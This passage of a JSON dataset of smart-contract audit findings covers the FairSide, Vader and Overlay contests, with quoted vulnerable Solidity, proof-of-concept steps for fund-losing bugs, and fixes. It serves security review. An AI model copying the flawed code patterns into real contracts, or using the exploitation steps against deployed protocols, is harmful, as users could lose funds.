unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } success_ = true; } ``` https://github.com/code-423n4/2021-11-overlay/blob/1833b792caf3eb8756b1ba5f50f9c2ce085e54d0/contracts/ovl/OverlayToken.sol#L167-L186 ```solidity=167 function transferFromBurn( address sender, address recipient, uint256 amount, uint256 burnt ) public override onlyBurner returns ( bool success ) { _transferBurn(sender, recipient, amount, burnt); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount + burnt, \"OVL:allowance= amount, \"OVL:allowance 0, \"FSD::mintHatch: Insufficient Deposit\"); ``` On L170, we check whether `bonded` is bigger than 5 ETH. After multiplying with `HATCH_CURVE_RATIO`, it is still over 0. Therefore, it is a tautology and not needed. ## Proof of Concept Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. ## Tools Used Manual analysis "}, {"title": "`!= 0` costs less gass compared to ` > 0` for unsigned integer", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fairside-findings", "body": "`!= 0` costs less gass compared to ` > 0` for unsigned integer"}, {"title": "Gas: Reorder conditions in `claimGovernanceTribute`", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/76", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle cmichel # Vulnerability details The `FSD.claimGovernanceTribute` function first performs the expensive `getPriorConvictionScore` instead of the cheap `isGovernance[msg.sender]` check. ```solidity function claimGovernanceTribute(uint256 num) external { require( governanceThreshold <= getPriorConvictionScore( msg.sender, governanceTributes[num].blockNumber ) && // @audit gas: rearrange this to be first for short circuiting isGovernance[msg.sender], \"FSD::claimGovernanceTribute: Not a governance member\" ); _claimGovernanceTribute(num); } ``` Reordering the conditions to first do the cheap governance check would allow this function to short-circuit if the user is not a governor, which will save gas on average. The last assignment `membership[msg.sender] = user;` is not required. "}, {"title": "Missing SafeMath & SafeCasts", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/71", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-fairside-findings", "body": "Missing SafeMath & SafeCasts"}, {"title": "Underflow in `ERC20ConvictionScore._writeCheckpoint`", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/70", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-fairside-findings", "body": "Underflow in `ERC20ConvictionScore._writeCheckpoint`"}, {"title": "ERC20ConvictionScore._writeCheckpoint` does not write to storage on same block", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/69", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle cmichel # Vulnerability details In `ERC20ConvictionScore._writeCheckpoint`, when the checkpoint is overwritten (`checkpoint.fromBlock == blockNumber`), the new value is set to the `memory checkpoint` structure and never written to storage. ```solidity // @audit this is MEMORY, setting new convictionScore doesn't write to storage Checkpoint memory checkpoint = checkpoints[user][nCheckpoints - 1]; if (nCheckpoints > 0 && checkpoint.fromBlock == blockNumber) { checkpoint.convictionScore = newCS; } ``` Users that have their conviction score updated several times in the same block will only have their first score persisted. #### POC - User updates their conviction with `updateConvictionScore(user)` - **In the same block**, the user now redeems an NFT conviction using `acquireConviction(id)`. This calls `_increaseConvictionScore(user, amount)` which calls `_writeCheckpoint(..., prevConvictionScore + amount)`. The updated checkpoint is **not** written to storage, and the user lost their conviction NFT. (The conviction/governance totals might still be updated though, leading to a discrepancy.) ## Impact Users that have their conviction score updated several times in the same block will only have their first score persisted. This also applies to the total conviction scores `TOTAL_CONVICTION_SCORE` and `TOTAL_GOVERNANCE_SCORE` (see `_updateConvictionTotals`) which is a big issue as these are updated a lot of times each block. It can also be used for inflating a user's conviction by first calling `updateConvictionScore` and then creating conviction tokens with `tokenizeConviction`. The `_resetConviction` will not actually reset the user's conviction. ## Recommended Mitigation Steps Define the `checkpoint` variable as a `storage` pointer: ```solidity Checkpoint storage checkpoint = checkpoints[user][nCheckpoints - 1]; ``` "}, {"title": "`FairSideDAO.SECS_PER_BLOCK` is inaccurate", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/68", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-fairside-findings", "body": "`FairSideDAO.SECS_PER_BLOCK` is inaccurate"}, {"title": "Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/67", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-fairside-findings", "body": "Missing parameter validation"}, {"title": "Avoid unnecessary storage reads in for loops can save gas", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/66", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle WatchPug # Vulnerability details For the storage variables that will be accessed multiple times, especially in for loops, cache and read from the stack can save ~100 gas from each extra read (`SLOAD` after Berlin). For example: https://github.com/code-423n4/2021-11-fairside/blob/20c68793f48ee2678508b9d3a1bae917c007b712/contracts/dependencies/TributeAccrual.sol#L77-L88 ```solidity=77 function totalAvailableTribute(uint256 offset) external view override returns (uint256 total) { for (uint256 i = offset; i < totalTributes; i++) total = total.add(availableTribute(i)); for (uint256 i = offset; i < totalGovernanceTributes; i++) total = total.add(availableGovernanceTribute(i)); } ``` `totalTributes` and `totalGovernanceTributes` can be cached. "}, {"title": "Beneficiary cant get `fairSideConviction` NFT unless they only claim once, and only after it's fully vested", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/62", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle WatchPug # Vulnerability details Based on the context, once the beneficiary claimed all their vesting tokens, they should get the `fairSideConviction` NFT. However, in the current implementation, if the beneficiary has claimed any amounts before it's fully vested, then they will never be able to get the `fairSideConviction` NFT, because at L138, it requires the `tokenbClaim` to be equal to the initial vesting amount. https://github.com/code-423n4/2021-11-fairside/blob/20c68793f48ee2678508b9d3a1bae917c007b712/contracts/token/FSDVesting.sol#L124-L142 ```solidity=124 function claimVestedTokens() external override onlyBeneficiary { uint256 tokenClaim = calculateVestingClaim(); require( tokenClaim > 0, \"FSDVesting::claimVestedTokens: Zero claimable tokens\" ); totalClaimed = totalClaimed.add(tokenClaim); lastClaimAt = block.timestamp; fsd.safeTransfer(msg.sender, tokenClaim); emit TokensClaimed(msg.sender, tokenClaim, block.timestamp); if (amount == tokenClaim) { uint256 tokenId = fsd.tokenizeConviction(0); fairSideConviction.transferFrom(address(this), msg.sender, tokenId); } } ``` ### Recommendation Change to: ```solidity=124 function claimVestedTokens() external override onlyBeneficiary { uint256 tokenClaim = calculateVestingClaim(); require( tokenClaim > 0, \"FSDVesting::claimVestedTokens: Zero claimable tokens\" ); totalClaimed = totalClaimed.add(tokenClaim); lastClaimAt = block.timestamp; fsd.safeTransfer(msg.sender, tokenClaim); emit TokensClaimed(msg.sender, tokenClaim, block.timestamp); if (amount == totalClaimed) { uint256 tokenId = fsd.tokenizeConviction(0); fairSideConviction.transferFrom(address(this), msg.sender, tokenId); } } ``` "}, {"title": "`user.creation` is updated incorrectly when the user tries to extend membership", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/61", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-fairside/blob/20c68793f48ee2678508b9d3a1bae917c007b712/contracts/network/FSDNetwork.sol#L274-L291 ```solidity=274 if (user.creation == 0) { user.creation = block.timestamp; user.gracePeriod = membership[msg.sender].creation + MEMBERSHIP_DURATION + 60 days; } else { uint256 elapsedDurationPercentage = ((block.timestamp - user.creation) * 1 ether) / MEMBERSHIP_DURATION; if (elapsedDurationPercentage < 1 ether) { uint256 durationIncrease = (costShareBenefit.mul(1 ether) / (totalCostShareBenefit - costShareBenefit)).mul( MEMBERSHIP_DURATION ) / 1 ether; user.creation += durationIncrease; user.gracePeriod += durationIncrease; } } ``` ### PoC 1. Alice calls `function purchaseMembership()` and adds 20 ether of `costShareBenefit` on day 1: ``` alice.creation = day 1 timestamp; alice.gracePeriod = day 791 timestamp; ``` 2. Alice calls `function purchaseMembership()` again and adds 20 ether of `costShareBenefit` on day 2: ``` elapsedDurationPercentage = 1/720 durationIncrease = 730 day alice.creation = day 731 timestamp; alice.gracePeriod = day 1521 timestamp; ``` Making Alice unable to use any membership features until two years later. "}, {"title": "Use `else if` in for loops can save gas and simplify code", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/60", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle WatchPug # Vulnerability details The checks in the for loop can be changed to `else if` to save gas and make sure `msg.sender != sigAssessor`. https://github.com/code-423n4/2021-11-fairside/blob/20c68793f48ee2678508b9d3a1bae917c007b712/contracts/network/FSDNetwork.sol#L616-L649 ```solidity=616 function _isApprovedByAssessors( bytes memory sig, uint256 id, Action action ) private view returns (bool) { bytes32 digest = _hashTypedDataV4( keccak256(abi.encode(CSR_ACTION, id, action)) ); address sigAssessor = ECDSA.recover(digest, sig); uint256 assessorsLength = assessors.length; bool assessorOne; bool assessorTwo; for (uint256 i = 0; i < assessorsLength; i++) { if (msg.sender == assessors[i]) { assessorOne = true; } if (sigAssessor == assessors[i]) { assessorTwo = true; } } require( assessorOne && assessorTwo, \"FSDNetwork::_isApprovedByAssessors: Not an Assessor\" ); require( msg.sender != sigAssessor, \"FSDNetwork::_isApprovedByAssessors: Cannot be the single Assessor\" ); return true; } ``` ### Recommendation Change to: ```solidity=616 function _isApprovedByAssessors( bytes memory sig, uint256 id, Action action ) private view returns (bool) { bytes32 digest = _hashTypedDataV4( keccak256(abi.encode(CSR_ACTION, id, action)) ); address sigAssessor = ECDSA.recover(digest, sig); uint256 assessorsLength = assessors.length; bool assessorOne; bool assessorTwo; for (uint256 i = 0; i < assessorsLength; i++) { if (msg.sender == assessors[i]) { assessorOne = true; } else if (sigAssessor == assessors[i]) { assessorTwo = true; } } require( assessorOne && assessorTwo, \"FSDNetwork::_isApprovedByAssessors: Not an Assessor\" ); return true; } ``` "}, {"title": "Using fixed length array as parameter type can avoid checks to save gas and improve consistency", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/59", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-11-fairside/blob/20c68793f48ee2678508b9d3a1bae917c007b712/contracts/network/FSDNetwork.sol#L482-L495 ```solidity=482 function setAssessors(address[] calldata _assessors) external { require( msg.sender == GOVERNANCE_ADDRESS, \"FSDNetwork::setAssessors: Insufficient Privileges\" ); uint256 assessorsLength = _assessors.length; require( assessorsLength == 3, \"FSDNetwork::setAssessors: Number of assessors must be three\" ); assessors = _assessors; } ``` ### Recommendation Change to: ```solidity=482 function setAssessors(address[3] calldata _assessors) external { require( msg.sender == GOVERNANCE_ADDRESS, \"FSDNetwork::setAssessors: Insufficient Privileges\" ); assessors = _assessors; } ``` "}, {"title": "Missing events for critical operations", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/57", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-fairside-findings", "body": "Missing events for critical operations"}, {"title": "Remove redundant check can save gas", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/56", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle WatchPug # Vulnerability details The check if `_wallets.length <= 2` is redundant as the length of `_wallets` parameter must be 2. https://github.com/code-423n4/2021-11-fairside/blob/20c68793f48ee2678508b9d3a1bae917c007b712/contracts/network/FSDNetwork.sol#L520-L533 ```solidity=520 function setMembershipWallets(address[2] calldata _wallets) external { //todo internal require( membership[msg.sender].wallets[0] == address(0) && membership[msg.sender].wallets[1] == address(0), \"FSDNetwork::setMembershipWallets: Cannot have more than three wallets per membership\" ); require( _wallets.length <= 2, \"FSDNetwork::setMembershipWallets: Too many wallets\" ); membership[msg.sender].wallets = _wallets; } ``` ### Recommendation Remove the redundant check. "}, {"title": "Avoid unnecessary external calls can save gas", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/55", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2021-12-perennial/blob/fd7c38823833a51ae0c6ae3856a3d93a7309c0e4/protocol/contracts/oracle/ChainlinkOracle.sol#L50-L60 ```solidity=50 function sync() public { (, int256 feedPrice, , uint256 timestamp, ) = feed.latestRoundData(); Fixed18 price = Fixed18Lib.ratio(feedPrice, SafeCast.toInt256(_decimalOffset)); if (priceAtVersion.length == 0 || timestamp > timestampAtVersion[currentVersion()] + minDelay) { priceAtVersion.push(price); timestampAtVersion.push(timestamp); emit Version(currentVersion(), timestamp, price); } } ``` If `block.timestamp - timestampAtVersion[currentVersion()] < minDelay`, there is no need to call `feed.latestRoundData()`. ### Recommendation Change to: ```solidity=50 function sync() public { if (priceAtVersion.length == 0 || block.timestamp - timestampAtVersion[currentVersion()] >= minDelay ) { (, int256 feedPrice, , uint256 timestamp, ) = feed.latestRoundData(); Fixed18 price = Fixed18Lib.ratio(feedPrice, SafeCast.toInt256(_decimalOffset)); if (priceAtVersion.length == 0 || timestamp > timestampAtVersion[currentVersion()] + minDelay) { priceAtVersion.push(price); timestampAtVersion.push(timestamp); emit Version(currentVersion(), timestamp, price); } } } ``` "}, {"title": "Faulty comments in `dao/FairSideDAO.sol` ", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/54", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-fairside-findings", "body": "Faulty comments in `dao/FairSideDAO.sol` "}, {"title": "`FSDNetwork` should inherit from interface `IFSDNetwork`", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/52", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-fairside-findings", "body": "`FSDNetwork` should inherit from interface `IFSDNetwork`"}, {"title": "Use of transfer function for transferring NFTs", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/48", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "sponsor disputed"], "target": "2021-11-fairside-findings", "body": "Use of transfer function for transferring NFTs"}, {"title": "FSD.sol does not implement transfer-accept ownership pattern", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/47", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor acknowledged"], "target": "2021-11-fairside-findings", "body": "FSD.sol does not implement transfer-accept ownership pattern"}, {"title": "Use existing memory version of state variables (Timelock.sol)", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/44", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fairside-findings", "body": "Use existing memory version of state variables (Timelock.sol)"}, {"title": "Long revert strings", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/43", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fairside-findings", "body": "Long revert strings"}, {"title": "Open TODOs", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/41", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "Open TODOs"}, {"title": "Double update on storage pointer can lead to massive gas consumption", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle rfa # Vulnerability details ## Impact When you are reading a value from a storage and using a storage pointer instead of memory, you write directly to the storage instead of the memory. In the https://github.com/code-423n4/2021-11-fairside/blob/main/contracts/network/FSDNetwork.sol#L234 this line is reading membership[msg.sender] with a storage pointer, this means any changes to the user variable, is updating directly to the membership[msg.sender], therefore https://github.com/code-423n4/2021-11-fairside/blob/main/contracts/network/FSDNetwork.sol#L294 this line update, makes it useless since the data already written to the membership[msg.sender] ## Proof of Concept https://github.com/code-423n4/2021-11-fairside/blob/main/contracts/network/FSDNetwork.sol#L234-L294 ## Tools Used ## Recommended Mitigation Steps https://github.com/code-423n4/2021-11-fairside/blob/main/contracts/network/FSDNetwork.sol#L294 membership[msg.sender] = user; "}, {"title": "FSDVesting: Redundant _start input parameter in initiateVesting()", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/33", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle hickuphh3 # Vulnerability details ## Impact Tracing the function calls, the `_start` parameter in `initiateVesting()` will always be `block.timestamp`. Hence, this input parameter can be removed from the function. ## Recommended Mitigation Steps ```jsx // TODO: Modify relevant function calls function initiateVesting( address _beneficiary, uint256 _amount ) external onlyFactory { require( start == 0, \"FSDVesting::initiateVesting: Vesting is already initialized\" ); beneficiary = _beneficiary; start = block.timestamp; amount = _amount; } ``` "}, {"title": "FSDVesting: Optimise updateVestedTokens()", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/31", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle hickuphh3 # Vulnerability details ## Impact 1. The `_user` input in `updateVestedTokens()` is redundant because each user will have at most 1 vesting contract, and this function should be restricted to the FSD token contract only (kindly refer to related submitted issue), which stores and retrieves the mapping of users to vesting contracts. 2. The zero amount check is redundant because it is already checked in `FSD._createVesting()`. ## Recommended Mitigation Steps ```jsx /** * @dev Allows a vesting beneficiary to extend their vested token amount. */ function updateVestedTokens(uint256 _amount) external override onlyFsd { amount = amount.add(_amount); } ``` "}, {"title": "FSDVesting: Define new constant LINEAR_VEST_AFTER_CLIFF", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/30", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle hickuphh3 # Vulnerability details ## Impact `DURATION.sub(CLIFF)` is calculated in `calculateVestingClaim()`. Since both are constants, it would be better to define a new constant `LINEAR_VEST_AFTER_CLIFF` that refers to the vest duration after the cliff. ## Recommended Mitigation Steps `uint256 private constant LINEAR_VEST_AFTER_CLIFF = 18 * ONE_MONTH;` "}, {"title": "FSDVesting: Constants can be made internal / private", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle hickuphh3 # Vulnerability details ## Impact Since the defined constants are unneeded elsewhere, it can be defined to be `internal` or `private` to save gas. ## Recommended Mitigation Steps ```jsx // One month in seconds uint256 internal constant ONE_MONTH = 30 days; // Cliff period for a vest uint256 internal constant CLIFF = 12 * ONE_MONTH; // Duration of a vest uint256 internal constant DURATION = 30 * ONE_MONTH; ``` "}, {"title": "FSDVesting: Claiming tributes should call FSD token's corresponding functions", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/28", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle hickuphh3 # Vulnerability details ## Impact The claiming of staking and governance tributes for the a beneficiary's vested tokens should be no different than other users / EOAs. However, the `claimTribute()` and `claimGovernanceTribute()` are missing the actual claiming calls to the corresponding functions of the FSD token contract. As a result, the accrued rewards are taken from the beneficiary's vested token while not claiming (replenishing) from the FSD token contract. ## Recommended Mitigation Steps In addition to what has been mentioned above, the internal accounting for claimedTribute states can be removed because they are already performed in the FSD token contract. ```jsx // TODO: Remove _claimedTribute and _claimedGovernanceTribute mappings /** * @dev Allows claiming of staking tribute by `msg.sender` during their vesting period. * It updates the claimed status of the vest against the tribute * being claimed. * * Requirements: * - claiming amount must not be 0. */ function claimTribute(uint256 num) external onlyBeneficiary { uint256 tribute = fsd.availableTribute(num); require(tribute != 0, \"FSDVesting::claimTribute: No tribute to claim\"); fsd.claimTribute(num); fsd.safeTransfer(msg.sender, tribute); emit TributeClaimed(msg.sender, tribute); } /** * @dev Allows claiming of governance tribute by `msg.sender` during their vesting period. * It updates the claimed status of the vest against the tribute * being claimed. * * Requirements: * - claiming amount must not be 0. */ function claimGovernanceTribute(uint256 num) external onlyBeneficiary { uint256 tribute = fsd.availableGovernanceTribute(num); require( tribute != 0, \"FSDVesting::claimGovernanceTribute: No governance tribute to claim\" ); fsd.claimGovernanceTribute(num); fsd.safeTransfer(msg.sender, tribute); emit GovernanceTributeClaimed(msg.sender, tribute); } ``` "}, {"title": "redundant named return issue", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-11-fairside-findings", "body": "redundant named return issue"}, {"title": "safeApprove is deprecated.", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/16", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "sponsor disputed"], "target": "2021-11-fairside-findings", "body": "safeApprove is deprecated."}, {"title": "Offchain voting can't be renabled in DAO", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/6", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle Ruhum # Vulnerability details ## Impact The comment for the `disableOffchainVoting()` function specifies that the feature can be reenabled in the future through a proposal. But, there seems to be no function to do that in the DAO contract. ## Proof of Concept Function with the comment: https://github.com/code-423n4/2021-11-fairside/blob/main/contracts/dao/FairSideDAO.sol#L619 No way to reassign the value: `grep offchain` ## Tools Used Manual Analysis ## Recommended Mitigation Steps Either remove the comment if the feature is not intended or add a function to reassign the `offchain` and `guardian` state variable "}, {"title": "Assigning keccak operations to constant variables results in extra gas costs", "html_url": "https://github.com/code-423n4/2021-11-fairside-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-fairside-findings", "body": "# Handle TomFrench # Vulnerability details ## Impact Increased gas costs ## Proof of Concept In a number of places a `keccak(\"string\")` expression is assigned to a `constant` variable. Due to how `constant` variables are implemented this results in the hash being recomputed each time that the variable is used, spending the gas necessary to perform this action. https://github.com/code-423n4/2021-11-fairside/blob/20c68793f48ee2678508b9d3a1bae917c007b712/contracts/dao/FairSideDAO.sol#L43-L49 If these variables were to be `immutable` this hash is calculated once at deploy time and then the result is saved to be used directly at runtime rather than recalculating, saving the cost of hashing. See: https://github.com/ethereum/solidity/issues/9232 ## Recommended Mitigation Steps Change all `constant` hashes to be `immutable` "}, {"title": "Unused imported contract in xVader", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/269", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed", "XVader"], "target": "2021-11-vader-findings", "body": "Unused imported contract in xVader"}, {"title": "inconsistent use of msg.sender and _msgSender()", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/267", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "Vader"], "target": "2021-11-vader-findings", "body": "inconsistent use of msg.sender and _msgSender()"}, {"title": "setComponents function specs and logic mismatch", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/262", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-11-vader-findings", "body": "setComponents function specs and logic mismatch"}, {"title": "Users Can Reset Bond Depositor's Vesting Period", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/259", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "VaderBond"], "target": "2021-11-vader-findings", "body": "Users Can Reset Bond Depositor's Vesting Period"}, {"title": "Mixing different types of LP shares can lead to losses for Synth holders", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/257", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "VaderPoolV2", "BasePoolV2"], "target": "2021-11-vader-findings", "body": "# Handle hyh # Vulnerability details ## Impact Users that mint Synths do not get pool shares, so exiting of normal LP can lead to their losses as no funds can be left for retrieval. ## Proof of Concept 3 types of mint/burn: NFT, Fungible and Synths. Synths are most vilnerable as they do not have share: LP own the pool, so Synth's funds are lost in scenarios similar to: 1. LP deposit both sides to a pool 2. Synth deposit and mint a Synth 3. LP withdraws all as she owns all the pool liquidity, even when provided only part of it 4. Synth can't withdraw as no assets left burn NFT LP: https://github.com/code-423n4/2021-11-vader/blob/main/contracts/dex-v2/pool/BasePoolV2.sol#L270 burn fungible LP: https://github.com/code-423n4/2021-11-vader/blob/main/contracts/dex-v2/pool/VaderPoolV2.sol#L374 ## Recommended Mitigation Steps Take into account liquidity that was provided by Synth minting. "}, {"title": "Covering impermanent loss allows profiting off asymmetric liquidity provision at expense of reserve holdings", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/255", "labels": ["bug", "duplicate", "3 (High Risk)", "VaderPoolV2", "BasePoolV2", "VaderRouterV2", "VaderReserve", "VaderMath"], "target": "2021-11-vader-findings", "body": "Covering impermanent loss allows profiting off asymmetric liquidity provision at expense of reserve holdings"}, {"title": "Unused slippage params", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/253", "labels": ["bug", "3 (High Risk)", "sponsor disputed", "VaderRouter"], "target": "2021-11-vader-findings", "body": "Unused slippage params"}, {"title": "VaderPoolV2.rescue results in loss of funds rather than recoverability", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/251", "labels": ["bug", "2 (Med Risk)", "VaderPoolV2"], "target": "2021-11-vader-findings", "body": "VaderPoolV2.rescue results in loss of funds rather than recoverability"}, {"title": "Add method to migrate from fungible to nonfungible liquidity", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/237", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "VaderPoolV2"], "target": "2021-11-vader-findings", "body": "Add method to migrate from fungible to nonfungible liquidity"}, {"title": "safe transfer of tokens", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/234", "labels": ["bug", "0 (Non-critical)", "disagree with severity"], "target": "2021-11-vader-findings", "body": "safe transfer of tokens"}, {"title": "block times 13s -> 12s", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/231", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged", "VaderBond"], "target": "2021-11-vader-findings", "body": "block times 13s -> 12s"}, {"title": "Unsupported tokens can be given fungible LP support", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/230", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "VaderPoolV2"], "target": "2021-11-vader-findings", "body": "Unsupported tokens can be given fungible LP support"}, {"title": "Contracts VaderPoolFactory and VaderReserve can be initialized multiple times", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/228", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2021-11-vader-findings", "body": "Contracts VaderPoolFactory and VaderReserve can be initialized multiple times"}, {"title": "`LinearVesting` missing events", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/225", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "LinearVesting"], "target": "2021-11-vader-findings", "body": "`LinearVesting` missing events"}, {"title": "Store VaderPoolV2 address as immutable in LPWrapper", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/224", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "LPWrapper"], "target": "2021-11-vader-findings", "body": "Store VaderPoolV2 address as immutable in LPWrapper"}, {"title": "Disregarding Check Effects in `VaderBond.redeem()` ", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/219", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "VaderBond"], "target": "2021-11-vader-findings", "body": "Disregarding Check Effects in `VaderBond.redeem()` "}, {"title": "Missing events for critical operations", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/214", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "VaderPoolV2"], "target": "2021-11-vader-findings", "body": "Missing events for critical operations"}, {"title": "Wrong design of `swap()` results in unexpected and unfavorable outputs", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/213", "labels": ["bug", "question", "3 (High Risk)", "sponsor disputed", "VaderMath"], "target": "2021-11-vader-findings", "body": "Wrong design of `swap()` results in unexpected and unfavorable outputs"}, {"title": "Wrong design/implementation of `addLiquidity()` allows attacker to steal funds from the liquidity pool", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/212", "labels": ["bug", "question", "3 (High Risk)", "sponsor disputed", "VaderPoolV2"], "target": "2021-11-vader-findings", "body": "Wrong design/implementation of `addLiquidity()` allows attacker to steal funds from the liquidity pool"}, {"title": "`mintSynth()` and `burnSynth()` can be front run", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/209", "labels": ["bug", "3 (High Risk)", "VaderPoolV2"], "target": "2021-11-vader-findings", "body": "`mintSynth()` and `burnSynth()` can be front run"}, {"title": "Changing function visibility from public to external can save gas", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/207", "labels": ["bug", "G (Gas Optimization)", "Timelock"], "target": "2021-11-vader-findings", "body": "Changing function visibility from public to external can save gas"}, {"title": "`SwapQueue.sol` Incomplete implementation", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/206", "labels": ["bug", "0 (Non-critical)", "SwapQueue"], "target": "2021-11-vader-findings", "body": "`SwapQueue.sol` Incomplete implementation"}, {"title": "`USDV.sol` Incomplete implementation", "html_url": "https://github.com/code-423n4/2021-11-vader-findings/issues/205", "labels": ["bug", "0 (Non-critical)", "USDV"], "target": 